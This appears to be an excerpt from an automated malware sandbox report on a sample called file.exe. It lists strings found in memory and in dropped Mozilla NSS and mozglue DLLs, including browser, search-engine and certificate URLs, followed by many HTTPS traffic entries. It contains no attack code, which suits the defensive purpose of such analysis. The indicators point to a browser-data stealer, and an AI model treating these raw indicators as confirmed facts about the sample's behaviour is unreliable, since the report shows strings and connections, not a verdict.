Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2253109378.000000006C4CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2252614700.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2243773786.000000001D323000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: file.exe, 00000000.00000003.1970449838.000000001D22D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: file.exe, 00000000.00000003.1970449838.000000001D22D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: file.exe, 00000000.00000002.2219111350.0000000000F14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: file.exe, 00000000.00000002.2218670347.0000000000742000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2246934107.0000000023353000.00000004.00000020.00020000.00000000.sdmp, FBFCFIEBKEGHIDGCAFBF.0.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: file.exe, 00000000.00000003.1981120388.00000000007A1000.00000004.00000020.00020000.00000000.sdmp, IIECFHDB.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.2116439680.00000000236E8000.00000004.00000020.00020000.00000000.sdmp, KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2116439680.00000000236E8000.00000004.00000020.00020000.00000000.sdmp, KECBGCGCGIEGCBFHIIEBFCAFHI.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2219111350.0000000000FF7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
